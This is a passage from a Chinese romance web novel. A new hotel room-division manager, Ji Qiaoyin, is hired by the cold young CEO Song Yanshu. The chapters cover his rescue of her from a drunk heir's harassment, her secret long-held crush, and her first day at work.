四份简历他拿在手里,随意翻动几下,视线逡巡,音色低沉,“你们什么想法?”
三人对视一眼,万方培拿捏着分寸回答:“四人中这位季小姐的履历是最漂亮的,她任职过南岱酒店,经验和资历都是最好的,笔试分数也最高。照理应该是最适合客房部经理的。可惜今天面试上半场表现有些欠佳。”
宋雁书将那几份简历往桌上一丢,语气波澜不惊,“面试不是高考,犯不着搞一战定输赢那套。我们海盛需要的是真正的人才。”
万方培琢磨着老总的话音,这么说是定下这位季悄吟了?
正欲开口说话,年轻男人沉稳的声线突兀地自头顶响起,恰好截住了万方培的话,“背调弄一下,如果没问题的话,给这个程若打电话,通知她下周一过来上班。”
万方培:“……”
不是季悄吟么?
他忙问:“那季小姐呢?”
“急什么?”宋雁书眼风冷冷一扫,不疾不徐安排:“让程若去公关部,季悄吟还是客房部经理。”
万方培:“……”
万方培有些为难,“可程若应聘的是客房部经理,贸然调她去公关部,这怕是不好吧?”
“没什么不好的。”男人抬了抬眸,成竹在胸,“比起客房部,程若的自身条件更合适待在公关部,相信我的判断,她以后会感谢我的。”
“何况……”他顿了顿,凤眸扫过桌上的简历,“程若做过公关,她有经验。”
万方培想起程若那张不输女明星的脸,往那一站,瞬间就提升了整个酒店的形象。公关部是整个酒店的门面,每一任的经理必然都是公关部的颜值担当。而程若的颜值完全碾压以往任何一任经理。
万方培:“那公关部原来的李经理呢?”
男人双眸粹冰,毫无温度,“开掉。”
万方培:“……”
见万方培面色微僵,宋雁书嘴角微动,目光森冷,“怎么,觉得我太狠了?”
万方培垂下眼帘,“不敢。”
老总的决定哪里轮得到他来评判。
他抬起腕表,瞥了眼表盘上的指针,“你们真以为我不知道李莹和VIP客户的那点事儿?”
万方培忙说:“我这就去办。”
宋雁书叮嘱一句:“做得漂亮些,别让人家认为咱们海盛卸磨杀驴,苛待老员工。”
交代完面无表情地离开,步调急促。
留下三个下属面面相觑。
“年前刚卸了蒋艳,如今又是李莹,海盛的老人差不多都给清理干净了,看来宋总这次是动真格的了。”
“公关部还好,新经理应该很快就能上手。客房部可全是蒋艳的人,这位季经理怕是要吃些苦头喽!”
“谁说不是呢,空降兵哪有那么好混哦!”
……
万方培再次打量起季悄吟的简历,看到左上方的蓝底照片,不禁想到了别的。
这次海盛对外公开招聘客房部经理,而没有从酒店内部直接任命,不止是对高层的清洗,更是想为酒店注入新鲜血液。
二十七岁的空降经理,搞得定客房部那群老油条么?
***
对于即将面临的悲催命运,季悄吟毫无感知。此刻她正在停车场纠结该如何把车子开出去。
一辆豪横的敞篷跑车刺喇喇地横亘在中央,无比嚣张,挡住了她的去路。
她看了一眼车标,兰博基尼超跑,全球限量款,人家一辆车能抵她好几辆。
也不知是哪个富二代停的车,没停进车位不说,还把她的出路给彻底堵死了。
她的小polo夹在一排豪车中间,出出不去,倒倒不了,苦逼又可怜。
她扶住方向盘转了几次也没把车开出去。
她的驾照拿了好几年了,平时出库入库也顺手,可就怕遇到眼下这种突发状况。
何况对方的车太豪横,她随便磕到碰到,都是一大笔维修费。她哪敢随便倒。
拧开车门,认命地下车,准备去找酒店的保安过来帮忙处理。
刚把车门关上,还没迈出步子,远远就看到宋雁书和他的助理一起往停车场方向走来。
他步调沉稳,不疾不徐。行走间,西装衣摆时起时落。
边走边侧头和一旁的助理说话。应该是在交代公事,助理时不时点点头。
季悄吟觉得宋雁书的这个助理有些面熟。
她自小便有过目不忘的本事,尤其是记人。基本上只需一眼她便能够记住。在酒店工作,每天都和形形.色.色的客人打交道。这项本领为她增添了诸多便利。
大
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脑快速运转,搜罗,她迅速记起自己在哪里见过这位助理先生——腊月二十八那天,她返程,开车从殡仪馆出来险些和一辆宾利车撞到。对方主动避让,及时给她让了路。
这位助理先生就是开车的司机。
看来当时宋雁书就坐在车里。
季悄吟犹豫着要不要上去打个招呼。毕竟站在宋雁书的角度,他们在殡仪馆有过一面之缘。可她刚刚参加了海盛的面试,会不会有贿赂领导的嫌疑?
想必他应该早就忘记她了吧?
思忖间,男人的目光却已经射了过来。
淡淡的一瞥,波澜不惊,既不显山,也不露水,无声无息。
两人的目光隔空交接,季悄吟本能地绷直了身体。
特别没出息,她居然有些紧张。
或许蓄意接近的那个本身就少了底气。
她觉得自己应该大方一些。
她主动走上前,扬起笑脸,正欲出声,谁知下一秒男人就已经快速地抽离掉目光,迈开长腿径直走向那辆嚣张的敞篷跑车,响起低沉冷凝的声线,“保安部今天谁当值,怎么停的车?”
季悄吟:“……”
常助理眼皮猛地一跳,即刻接话:“宋总,我马上处理。”
他退到一边,通过对讲联系保安部。
季悄吟站在一旁看着,心中暗喜。有人出面替她解决问题,也省得她自己去找保安了。
她的目光纯澈明亮,弯唇轻笑,“谢谢宋总。”
宋雁书掀动眼帘,女人穿了条杏色吊带裙,外搭一件薄荷绿小西装。如此清新的颜色并不见得有多抓人眼球,反而衬得她的小脸愈加苍白,缺乏血色。
不过这并不影响她笑,笑容照样楚楚动人。尤其是这双眼睛,并未受到分毫影响,纯净似山涧泉水,明亮如深秋皓月,清寥动人,直抵人心。
面对这样干净的一双眼睛,好像一切带有目的的审视都是一种亵渎,让人无处遁形。
男人的视线不着痕迹地上下扫动着,眉梢轻挑,“谢我什么?”
季悄吟轻声解释:“这辆跑车挡住了我的去路,我的车开不出去,我正准备去找保安呢!”
宋雁书这才注意到那辆被挤到角落里的小polo,被好几辆豪车围堵住,模样可怜。
再看了眼跑车的车牌,他不禁拧了拧眉。
“季小姐这是要去哪儿?”
“开车回宛丘。”季悄吟听到他的称呼,有些意外,“您知道我?”
宋雁书毫不避讳,直言:“我看过你的简历。”
也是,她应聘海盛,而且还是经理级别,人事部肯定会事先知会宋雁书。他会知道自己的名字也没什么好奇怪的。
宋雁书的目光落在她苍白的面庞之上,眸光微暗,“季小姐的状况怕是不好开长途吧?”
脸白成这样,明显是身体欠佳,如何吃得消开四个小时的车回宛丘?
宋雁书不说还好,他一说季悄吟便明显感受到小腹一阵一阵的坠痛,汹涌澎湃。双腿绵软无力,几乎站不稳。
明明刚刚已经缓过来了,此刻居然又痛了起来。
原来身体也是这么会装死的。
大姨妈如此卖力虐她,这个节骨眼若是再开四个小时的车回宛丘,她可能会死得很惨。
她语气无奈,“看来只好在这边住一晚了。”
宋雁书微不可察地勾了下唇角,“识时务者为俊杰。”
季悄吟:“……”
这句成语是这样用的?
两人没说到几句话,一个身穿黑色制服的年轻保安匆匆忙忙跑了过来。
“对不起宋总,是我疏忽了。”保安冷汗津津,表情凝重。
被老总抓到错误,但凡是个人都怕得要死。
宋雁书抬了抬眼皮,语气清淡,难辨喜怒,“通知车主把车挪了吧!”
保安连忙说好。
“走吧小常。”
常助理赶紧跟上宋雁书。临走之前还不忘多看季悄吟两眼。
电光火石之间,他认出了季悄吟。
这一刻,一切的不合常理都有了解释。难怪老总刚才会特意绕到停车场来。
5. 第5杯酒
第5杯酒
宋雁书走出电梯间,隔着办公室的透明玻璃远远就看到秦问那个少爷刺喇喇地窝在沙发上打游戏。
总裁办的人都认识秦问,每次他过来,秘书们也不敢拦他,任由他大摇大摆地进宋总的办公室。
年轻的男人坐上皮椅,给自己点了根烟。
闻到一点烟草味,秦问才注意到宋雁书回来了。
他忙抬头问:“哥,你刚去哪儿了?等你半天了。”
宋雁书吞吐烟圈,“刚人事部有个面试,我去盯了盯。”
秦问:“……”
“您老还盯面试呢?什么情况?”秦少爷只觉得新鲜。
宋雁书却不回答,出言微讽:“我看你是越活越回去了。”
秦问:“……”
“几个意思啊?”秦问不解,“大哥,不带您这样人身攻击的呀!”
宋雁书开了电脑,调出停车场的监控,转动电脑屏幕拿给秦问看,“你看看你停的车,就你这技术,完全有必要回驾校重考一遍科二。”
他刚交代下去,保安部那边立刻就把停车场的监控给他传过来了。
秦问顾不得打游戏了,扫两眼电脑屏幕上的画面,赶紧给自己辩解:“冤枉啊哥,这车可不是我停的,我的车借给朋友开了。”
宋雁书:“哪个朋友?”
秦问:“楼逸。”
宋雁书迅速想起一张浪荡公子哥的脸,声音蓦地沉了沉,“你离楼逸远点,那人不上道。”
秦问:“没深交,就酒肉朋友。”
“那你借车给他?”
“我俩换着开,他前不久刚搞了辆劳斯莱斯,我图新鲜,开两天试试手感。”
男人轻嗤一声,“你家车库都停了多少辆超跑了,还差这一辆?”
“别人的车,和自己的车,那能一样吗?”
“这个点过来找我干嘛?”宋雁书身体前倾,往烟灰缸里抖了抖烟灰。
“给我家太后娘娘传懿旨来了,她的婚礼打算搁咱们海盛办。”
宋雁书“呵”了一声,“小姨可真讲究,三婚还要大操大办。”
秦问没好气地说:“你又不是不知道我家太后娘娘,她这人特注重仪式感。别说三婚了,就是四婚,五婚她也得大操大办。”
“婚期定了?”
“今年六一。”
“还有三个月呢!”
“这不是匀出时间让你提前准备嘛!”
“放心吧,铁定满足小姨的仪式感。”
***
晚上,季悄吟在酒店餐厅勉强喝了半碗红豆粥。姨妈狂虐她,食欲大减,喝粥也只为垫下肚子。
她痛经有些年了,也看过中医,喝过中药调理过,可惜效果不佳。
倒也不是每个月都这么难熬,一般压力大,睡眠不佳的月份,她就容易痛得厉害。每次都要吃布洛芬缓解。
于是她去了趟药店,买了盒布洛芬。顺带拿了一包姨妈巾。
姨妈提前造访,她毫无准备,下午面试还是酒店的服务员借了两片姨妈巾给她应急。
买好东西返回酒店。
进入1号楼大堂,刚刚拐过前台,即将踏进电梯间。身后突然转来一记重力,伴随着一股浓烈刺鼻的酒气卷进鼻腔。
季悄吟本能地重心不稳,高跟鞋瞬间移位,往前一阵趔趄。
她好不容易才稳住身体,没摔个狗啃泥。转头立马看到一个年轻男人,手里拿着手机和车钥匙,身穿骚气的花衬衫,眼神迷离又浪荡。
很显然,他有些喝醉了。
男人见到季悄吟不由眯了眯眼,一双桃花眼轻挑又危险,赤.裸直白的视线将女人自上而下扫视一遍,俨然是猛兽遇见了自己心仪的猎物。
瞧瞧,多漂亮的美人!腰是腰,胸是胸,吊带裙下双腿长且直,风光无限旖旎。
卜一开口全是酒气,嗓音轻浮,“小美女,喝酒吗?”
说着就踉跄地往前走,大有要跟季悄吟搭讪的架势。
季悄吟在酒店工作六年,见多了这种醉酒调戏女孩的客人。
眼前这位一身名牌,手里的车钥匙还有兰博基尼的标识,多半也是个浪荡的富二代。
季悄吟对这种人天生就没有好感。她自发退后两步,和醉鬼拉开距离。
谁知这人毫不收敛,反而肆无忌惮地大步冲向季悄吟,唇角勾起放肆的笑,“小美女别害怕呀!哥哥可是好人!”
季悄吟有些怕了。她不怕醉鬼,却怕这种借着酒劲调戏女孩的富二代。这种人平时放浪形骸惯了,谁知道他们会做出什么举动来。
见势不妙,拔腿就跑。
然而还没跑两步,直接撞进另一具温热的怀抱。一阵巨大的冲击力,头晕目眩,五指一松,手中的黑色塑料袋径直掉在地上。里面的布洛芬和姨妈巾也滚了出来。
衣料下是清淡熟悉的木香,让她本能一颤,条件反射地愣在原地。
“季小姐?”熟悉的男声经头顶响起,低沉而清润,带着一股神奇的力量,莫名能安定人心。
季悄吟霍然抬头,对上一双明亮深邃的琥珀色瞳仁。
她定了定心神,喊人:“宋总。”
“小心点。”宋雁书把人扶正,“什么事儿这么着急?”
季悄吟来不及回答,身后放荡不羁的男声早已逼近,越来越清晰,“小美女你怕什么呀?哥哥只是想跟你交个朋友!给个面子好不好?”
宋雁书凤眸一扫,认清状况,立刻将季悄吟拉到自己身后。
他挡在她面前,音色沉冷,“楼三少今天是喝了多少?”
此话一出,对面的男人霎时止步。他抬起头,迎上宋雁书的视线,正色道:“也没喝多少,两杯白的。”
季悄吟看得分明,这家伙眼底一片清明,哪还有半分醉意。
果然是借酒搞事的渣男。
“依到楼少的酒量,两杯白的就醉了?”宋雁书眸光幽暗,嗓音沉凉。
楼逸没个正形,胡扯一通,“年纪大了,最近酒量不行了。”
“酗酒伤身,既然三少年纪大了,还是切莫贪杯才好。”
楼逸:“……”
这话犀利又直白,还真是半点情面不留。
楼逸的脸顿时黑了好几度。
“楼少,你等等人家嘛!走那么快干嘛呀?”
不多时楼梯间传进一个娇滴滴的女声,听得季悄吟一阵恶寒,鸡皮疙瘩一下子全竖起来了。
一个长腿大胸的女人,顶着一张千篇一律的网红脸迅速闯入众人视线。
一见到楼逸,她整个人直接扑了上去,双手搂着男人,恨不得整个人挂在他身上,“太坏了你,都不等等人家。”
“谁叫你走得那么慢的,下次再这么磨蹭,我就把你丢了。”
“人家不会了辣!”
那黏腻的样子简直不忍直视。
楼逸揽住美女纤细的腰肢,转身跨进VIP专用电梯,冲宋雁书挑眉一笑,“先走了宋总。”
电梯门缓缓合上,楼逸透过门缝最后看了一眼季悄吟的脸。
多么漂亮特别的一张脸蛋,比起身侧的这张网红脸,不知道精致了多少。
可惜刚刚没得手。
思及此,楼逸徒然松了手,嫌
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弃地推开紧贴着他的女人,冷淡道:“自己站!”
——
见渣男离开,季悄吟这才松了口气,整个人都放松了下来。
“谢谢宋总。”她由衷感激。
可宋雁书的视线却没在她身上,而是在地上。
她一低头便看到了自己散落在地的布洛芬和姨妈巾。
她脸一红,忙蹲下.身去捡。可对方明显比她更迅速,火速捡起了她的东西。
宋雁书先捡了布洛芬。手指再触到那团粉色包装时,他下意识愣了愣。
想起她下午面试的表现,一切都有了解释。难怪脸白成那样。
他捡起,装进塑料袋,再拿给季悄吟,一气呵成。
那只漂亮的手,指节纤长,白皙硬朗,干燥而富有力量感。
季悄吟不由想起了那天在殡仪馆,他给自己点烟的情形。打火机在他手里“咔嚓”一声,蓝色火苗扑腾燃起。
随后他便立刻收了手,当时她只捕捉到恍惚的一记白。
这双好看的手可以点烟,可以书写,可以画画,可以做任何赏心悦目的事情,怎么可以拿她的姨妈巾?
男人只是拿她的姨妈巾,可似乎轻易就攥住了她的神经,心中不免掀起万千风暴。
季悄吟僵硬地站直身体,耳根潮红一片,老脸发烫。
宋雁书却面色如常,神态自若,丝毫没觉得异样。
“谢谢。”她接过自己的东西,掂在手里。
“不客气。”他与她错开,径直离开,留给她一道颀长英挺的背影。
***
两天后,万方培拿着一份资料匆匆去了总裁办。
办公室空荡无人,老总不见踪影。
他扬声问总裁办的张秘书:“咱们宋总人呢?”
张秘书的视线从电脑屏幕上移开,告诉他:“宋总出去见客户了,不在公司。”
万方培神色忧虑,“宋总什么时候回来?”
张秘书摇摇头,“不清楚,他吃过午饭就出去了,快三个小时了。”
见万方培面色凝重,张秘书忙问:“万经理,您手头的事儿急吗?要是急得的话我给常助理打个电话问问?”
“事倒是不急,就是有些棘手。”万方培紧了紧腋下的资料,“我先回去,宋总一回来你马上通知我。”
张秘书把人送出总裁办,“万经理放心,我替您留意着。”
万方培堪堪走到电梯间,红色数字不偏不倚正巧跳到58,机器停止运转。
下一秒,电梯门应声而开,宋雁书率先从里面走出来,澄亮的皮鞋几乎能照出人影。
万方培眼睛一亮,忙迎上前,“宋总,我正找您呢!”
宋雁书转了转手心里的手机,低沉声线浮在稀薄的空气里,清透异常,“什么事儿?”
“两位新经理背调的事儿。”万方培手里捏一份资料,装在蓝色文件夹里,薄薄的几张纸,上头内容详尽。
“去办公室说。”年轻的男人走在前面,步调沉稳有力。
两人一前一后走进办公室。
宋雁书往沙发上坐下,翘起二郎腿,姿态慵懒随性,“背调有问题?”
万方培“嗯”了一声。
“谁有问题?”
“季小姐。”
果然宋雁书浓眉微拧,当下便问道:“具体什么问题?”
万方培心中忐忑,可事关季悄吟,这事儿又不得不说。
他抬手抹了把脑门上的虚汗,将手中资料递上前,“据说季小姐这次从南岱离职蛮不光彩的,说是插.足了领导的婚姻,被正宫胁迫不得已才离职的。”
6. 第6杯酒
第6杯酒
很快季悄吟便接到了海盛人事部的电话,通知她被录取了。
这个结果还是蛮让季悄吟惊喜的。毕竟面试前半段自己的表现那样拉垮。能被录取真是运气爆棚。
录取通知一下来,季悄吟就着手准备租房,搬家。她迫不及待想要展开青陵的新生活。
这是她二十七年来第一次正式离家,正式离开母亲,去往全新的一座城市工作和生活。这其中的兴奋和期待几乎都要满溢出来。
为了上班方便,她在海盛酒店附近的水榭华庭小区租了个小复式。
精装修,家电齐全,拎包入住即可。
这个小区距离浪江不远,站在客厅里就能望见广袤无垠的江面。耳畔似乎都还萦绕着渡轮的鸣笛声,缥缈悠远。
不论是户型、采光、通风,还是视野,这套房子都没得挑。又是上好的地段,租金自然不便宜。可季悄吟还是咬咬牙给租下来了。不为其他,就因为这房子临江。
江和海一样,就像是爱人的怀抱,是温柔也是包容的。每当太阳升起时,明烈灿烂的日光会一点一点映到水中,水波涌动间,波光粼粼,熠熠生辉。她只要近距离望着,就会让她不由自主想要沉溺其中。
季悄吟的工资不算高,但比起同龄人还过得去。家里也没什么经济压力,一人吃饱,全家不饿。她一直都是个精致的月光族。工作几年,自己全然被养刁了。因此她对居住环境有着不同寻常的刁钻。她宁愿吃省点,穿差点,她也必须租一套让自己满意的房子。
汪莉女士尤其迷信,她认为搬家这种大事必须要挑个黄道吉日。于是乎季小姐听从母上大人的安排,将搬家日期定在了周五。
季悄吟提前一天打包行李。
她不打算带太多东西去青陵,因为她不确定自己以后会不会灰溜溜地回来。
毕竟她只身前往青陵工作是为了宋雁书。万一她没那个能力拿下宋雁书,那她待在青陵就一点意思都没有了,她肯定会马不停蹄回到宛丘。届时如果有太多的东西她再搬家就困难了。
季悄吟目标明确,也愿意放手一搏,但同时她也是一个非常理智的人,凡事留一手,她给自己留有一条退路。真到了一败涂地的那天,她也能拍拍屁股,麻溜走人。
她收拾出了一只行李箱,打包了四只纸箱,明天往后备箱一放,直接上路。
晚上睡前,季悄吟打开了书桌上锁的抽屉。
她一直留着钥匙,不过好些年没打开过这只抽屉了。
抽屉里装的可都是她的宝贝。
她一样一样拿出来,有她小学到大学的成绩单、奖状、获奖证书、相册等杂七杂八的物件。
她翻开那只泛黄的相册,里面有很多她小时候的照片。她从一出生就是虎头虎脑的小胖妞,一直到读初中才苗条起来。
不止有她的照片,还有养父母的。
养父去世以后,怕汪女士睹物思人,她就把养父的照片给收了起来。
隔了这么久再看养父的照片,季悄吟不免产生几分恍惚感。
记忆里养父是个非常和善细心的男人,呵护妻女,将季悄吟视如己出,自小就十分疼爱她。
抽屉还有一只精致小巧的红绿灯模型。
养父生前是宛丘交警队的一名交警,这只红绿灯模型就是他送给季悄吟的生日礼物。她一直妥善保管着。
一样一样将抽屉掏空,最后掏出一张老旧泛黄的准考证。
多年过去,准考证上遍布岁月的痕迹,无比沧桑。
上面的黑体字也已经变得有些模糊了。不过还是可以分辨出来——
【2010年宛丘市普通高中招生文化考试准考证】
右上角贴着少年青涩稚嫩的照片,唇线紧抿,表情淡漠。
如此模糊的黑白打印照片,少年五官也并未完全长开,可依然不减他的帅气。
季悄吟的手指不自觉覆上照片,悄悄抚过少年的眉眼。
眸光低垂,瞥到上面的名字:宋雁书。
“雁书寄到君前,我倩谁怜。”【注】
雁书,书信的意思。多好听的一个名字呀!
宋雁书或许一辈子都不会知道,他们的缘分源自十一年前的那场中考。
——
第二天一早,季悄吟载上她的行李,一个人开车去青陵。
一到新家,她就开始收拾她的行李。
把衣服一件一件挂进衣橱,上衣裙装裤装分门别类整理好。
那只红绿灯模型摆在了卧室床头柜上。
至于那张泛黄的准考证她则妥帖地收进了书桌抽屉。
从此以后就要开始她在青陵的独居生活了。
季悄吟骨子里是个渴求稳定,不喜变故的人。这么多年循规蹈矩,偏安一隅。可这一次却为了心中那点微乎其微,遥不可及的念想,孤注一掷地跑到一座陌生的城市工作,说不忐忑,那自然是假的。
然而忐忑之余,心中又隐隐有一股子兴奋和期待。舍不得孩子,套不着狼,这世上但凡和感情沾上边的,那就没有简单的事儿,她总该是要牺牲点什么才行。没准这次她就能得到她想要的了。
下周一上班,季悄吟在周末的时候特意去逛了下小区附近的银泰。
她给自己买了双战靴——一双浅黄色的高跟鞋。
C家今年的早春新款,浅口,细跟,舒适的小羊皮面料,鞋面镶嵌水晶,光华璀璨。
她一眼就爱上了。
六千块钱,刷卡时眼睛都没眨一下。
对于她眼下的荷包来说,一双六千块钱的高跟鞋确实奢侈。可千金难买她喜欢。只要是她喜欢的,再贵她也舍得。
希望这双战靴能为她接下来的工作,尤其是感情带来好运气吧!
***
周一一早,季悄吟便穿着这双漂亮的高跟鞋去海盛酒店办理入职手续。
与她一起的还有公关部的另外一位经理程若。
那天三面留下的四个人中,季悄吟和程若是女生,所以她对程若还有点印象。
程若比季悄吟大两岁,留着一头栗棕色的大波浪,长发悉数被绾起,露出修长白皙的脖颈。五官惊艳,气质绝佳,堪称公关部一枝花。
程若见到季悄吟,当即扬起笑脸,语气友好和善,“你好季经理,以后就是同事了,还请你多多指教呀!”
季悄吟弯下唇角,笑容明媚,“程经理千万别折煞我了,指教万万不敢,互相关照才是王道!”
一个客房部经理,一个公关部经理,两人平级,而且同为刚入职的新人,指教可断然谈不上。
程若是个随性的人,干脆直说:“咱俩就别互相客套了,这里又没别人,直呼其名就行了。”
季悄吟笑着说好。
程大美人偷偷和季悄吟咬耳朵:“悄吟,咱俩都是空降兵,真应该抱团取暖,互通有无才行,不然真搞不定酒店这群老员工。”<
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程若说的都是事实,入职之前季悄吟特意查看了海盛酒店这些年的详尽资料。对于近期的人事调动也略有了解。年前宋雁书刚刚降级调走了客房部前经理蒋艳,紧接着在前几天又开掉了公关部的前经理李莹。高层经过大换血,余下的基本上都是宋雁书的心腹,不过底下的员工还是老人居多。
季悄吟和程若都是对外招聘进海盛的,人生地不熟的,确实形单影只,处境凄凉。
不过她并不怕这些,既然决定来海盛,那就自然要啃硬骨头。她早有心理准备。大不了兵来将挡,水来土掩,见招拆招就是了。
她冲程若笑了笑,心态尤其好,“迎难而上才刺激!”
程若被季悄吟自信从容的笑容给感染到了,一时间觉得接下去的工作也没这么艰难了。
——
季悄吟在人事部办理好入职手续,领取了制服和工作牌。
换好制服,直接去参加晨会。
宋雁书今天穿了套烟灰色西装,原本是暗沉的色调,却因为衬衫和领带搭配得极好,而并不显得阴郁,反而清新明快了许多。
男人的西装无非就那几个颜色,黑、灰、藏青,清一色的冷色调,可有人却能将这几种单调的颜色穿出截然不同的味道。天生的衣架子,惹人艳羡。
此刻听见他事无巨细地给各个部门的经理交代工作,咬字清晰,音色醇厚而富有质感。季悄吟才真切地意识到她终于离他更近一步了。
其实这些年同在酒店行业,宋雁书又是业内炙手可热的人物,她过去不是没听过他的消息。相反的她格外关注他的动向。
她一早便听说了老秦董去世的消息。和姜家的老太太是同一天。只是她从未想过自己会在殡仪馆再见到他。
而见到他的那刻,她便已经将自己余下的几十年人生都给规划好了。
会上宋雁书介绍了季悄吟和程若这两位新经理。
都是美女,自然抢眼。
众人鼓掌欢迎,个个笑容满面。
但这些笑容背后有几分真,几分假就不得而知了。
同时季悄吟也把酒店高层给认全了。除了万方培和程若,还有投资部总监杨珂,大堂经理戴子玥,工程部经理王建南,餐饮部经理李维,后厨厨师长周忠等人。
她过目不忘,这一张张脸,男男女女,她逐一扫一遍,差不多就记下了。
宋雁书的声线一贯低沉,不起波澜,不紧不慢吩咐:“公关部那边小方你带程经理先熟悉熟悉,至于客房部这边就交给何领班,争取让季经理尽快上手。”
被点名的一男一女忙答应下来,“好的,宋总。”
季悄吟看到自己的左下方坐着一个和她差不多年纪的女孩,齐耳短发,眉眼干净,长相甜美。
这位便是客房部领班何君,以后就是她的搭档了。
海盛女员工普遍颜值很高,光一个客房部就可见一二。
季悄吟历来喜欢甜美挂的女生,何君完全长在她的审美点上。她对这位何领班的第一印象相当不错。就是不知道人家对她印象怎么样。不过想来应该也不会有多好。毕竟何君是前经理蒋艳的得意弟子,如果她不来海盛,这客房部经理的位置就是人家的。
虎口夺肉,人家能对她有好印象才怪!
晨会结束,众人一同走出会议室。
停在走廊里,何君手里捏着手机,主动开口:“季经理,我先加下你微信,把你拉进酒店群里。”
7. 第7杯酒
第7杯酒
何君主动提出要将季悄吟拉进酒店工作群。
她不敢耽搁,迅速调出微信二维码,给何君扫。
何君扫过之后,添加她为好友。随后便将她拉进了两个微信群。
一个是海盛高层工作群。酒店所有高管都在,包括宋雁书。
另一个是客房部的工作群,群名起得中规中矩:海盛客房部。
何君如今是管理员。季悄吟发现前经理蒋艳也在群里。
她更改了昵称,把自己的名字输进去。
然后在两个群里都打了声招呼。
客房部工作群里,何君带头发了条消息。
何君:【欢迎季经理加入客房部!】
这句话迅速被刷屏。
季悄吟往群里发了三个红包。
季悄吟:【以后和大家一起并肩作战,还请不吝赐教!】
红包被众人一抢而空,满屏都是“谢谢季经理”。
随后何君便对季悄吟说:“季经理,我先带你熟悉一下楼层和客房吧!”
季悄吟答应下来,冲何君微微一笑,“辛苦你了何领班。”
海盛酒店身为青陵的本土品牌,客房极其具有特色。客房分为中式和西式两种,1号楼到3号楼是中式客房,4号楼到6号楼则为西式客房。中式客房古朴典雅,瑰丽大气;西式客房则简约明快,奢华低调。
除去中西式客房,还有两栋VIP客户专用客房和一栋独立的总统套房。只是总统套房不常对外开放。
楼栋不同,房型不同,配置和服务自然也就截然不同了。
外头天天打着“人人平等”的旗号,可酒店行业却始终存在着明确的尊卑之分。而所有人都统一默许了这种尊卑差别的存在。
9号楼的总统套房接待的都是酒店顶顶尊贵的客人。
宋雁书本人在9号楼顶层有个固定的套间。
一上午,季悄吟就跟着何君从1号楼跑完了9号楼,各个楼层都要转一遍。
何君这姑娘仔细,各种细节都要跟季悄吟复述一遍。
季悄吟有不明白的地方,她也细心解答。语气温柔,态度谦和,让人听着十分舒服。
看得出来,何君不是一个难相处的姑娘。
季悄吟觉得自己有点以小人之心度君子之腹了。本以为这位何领班会对自己心生不满。没想到人家这般和气有礼,礼貌妥帖,相处下来,没有表现出任何怨气。
两个姑娘跑完楼层,已经临近中午。
季悄吟面露感激,“今天上午让何领班受累了。”
何君温声道:“季经理叫我何君就好,这都是我的分内之事,不必客气。”
她主动发出邀请:“到点了,一起去吃饭吧?”
“不好意思季经理,我约了朋友。”
季悄吟并不勉强,一个人去了员工餐厅。
——
下午抽查客房,熟悉手下的员工和酒店VIP客户资料。再查看各种报告和资料。
第一天上班,客房部的老员工们对季悄吟这个空降的经理还算客气。毕竟谁都摸不准这位新经理是什么脾气,不会有人傻到第一天就去开罪领导。很多人都持观望态度。
人一旦忙起来就停不下来。
当季悄吟的视线再度从电脑屏幕上移开时,外头的夜色早已浓沉如墨,霓虹绚烂。
远处江面映满点点渔火,忽明忽暗。
看一眼屏幕一角显示的时间,晚上十点了。
原来竟已经这么晚了!
她今天不用值班,照理早就可以下班了。可她愣是在办公室加班到现在。
足足坐了好几个小时,老腰生疼。她赶紧站起来伸了个懒腰,抖动几下酸涩的肩膀。
然后麻溜地收拾东西下班。
1号楼大堂里,前台值班的两个姑娘正在给两位客人办理入住信息。
季悄吟从旁经过,两人一人一句:“季经理好。”
她微微一笑,算作回应。
其中一位妹子季悄吟不算陌生,有过两面之缘。她扫了一眼对方的工作牌:吴佳丽。
这次倒是衣衫整洁,衣领下干干净净,什么痕迹都没有了。
季悄吟正准备走,却听见耳旁传来两道恭敬的声音:“宋总好!”
她的脚步不免为之一顿,再也走不了了。
霍然转头,见宋雁书已经走到自己身后。
那股熟悉的冷冽木香合着大堂内温热的气流尽数灌入口鼻,竟有神奇的醒脑功效。刚才还疲惫不堪的,这会儿脑子居然都活络过来了。
他竟然也这么晚下班。老总还真是日理万机呀!
这次倒只有他一个人了,他的助理并未在身侧。季悄吟猜测常助理应该先去开车了。
女人嘴角微微浮起一抹干净温淡的微笑,“宋总晚上好。”
宋雁书见到季悄吟,颇为意外,“季经理还没下班?”
他的视线不自觉转到她身上,她穿酒店正式的制服同样漂亮,只是多了几分职业女性的干练和知性。
季悄吟淡淡地笑了下,“一不小心就待晚了。”
“第一天上班还适应吗?”
“还行。”比起南岱,海盛的工作不算繁琐,倒也容易上手。
工作六年,也是老酒店人了,经验不说多丰富,多少有一点,换个环境也不至于手足无措。
两人一前一后走出旋转玻璃门,常助理已经把车开过来了,就停在大门口。
他将后座车门打开,恭敬地立在一旁。
宋雁书看着季悄吟,浅色唇角微动,“季经理怎么回去?”
季悄吟扬了扬手里的车钥匙,“我自己开车回去。”
“那明天见。”宋雁书转身坐进后座。
车门还未关上,男人清润动听的嗓音从车里飘出来,“季经理今天的鞋子很漂亮!”
季悄吟不禁一愣,立马反应过来,莞尔而笑,“谢谢!”
目送黑色的宾利开远,她低头看一眼自己脚上那双漂亮的高跟鞋,眉眼弯弯,心情大好。
不愧是她斥巨资给自己备下的战靴,上
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班第一天就得到了宋雁书的夸奖。太给力了有木有!
***
季悄吟回到家,麻溜地洗头洗澡。
坐在梳妆镜前抹完精华和水乳,睡前点开微信,看看工作群里有没有新的消息。
还没来得及查看工作群,她就收到了一条添加好友的消息。
【宋雁书请求添加你为好友。】
不是工作群里的那个微信号,是另外一个。应该是他的私人号。
季悄吟长睫轻颤,呼吸骤然一歇。
她手指微抖,颤颤巍巍地点了通过。
上班第一天就加了宋雁书的私人微信号,而且还是对方主动加的她。她的运气是不是太好了一点?
看来她的那双战靴买对了,运气爆表了都!
宋雁书的微信头像是一只笨拙的乌龟,顶着一具黄色外壳,憨态可掬。
季悄吟觉得这应该是他养的宠物。
她用手机上的动物识别软件扫了扫,发现这是金钱龟。
金钱龟,招财的。
有钱人果然迷信。
宋雁书的朋友圈没有设置三天可见,可惜常年长草,什么内容都翻不出来。
很快对方就发了消息过来。
宋雁书:【我是宋雁书。】
季悄吟:【宋总,您有什么指示吗?】
宋雁书:【过几天有个新加坡旅游团入住酒店,三十多号人,季经理需要提前准备。】
季悄吟盯着屏幕有些奇怪。宋雁书大晚上发微信过来,就是为了提醒她新加坡旅游团的事儿?这件事他今早晨会上就提过一遍了,而她也已经着手开始准备了。犯不着特意再说一遍吧!
不过奇怪归奇怪,领导的指示她也只有答应的份儿。
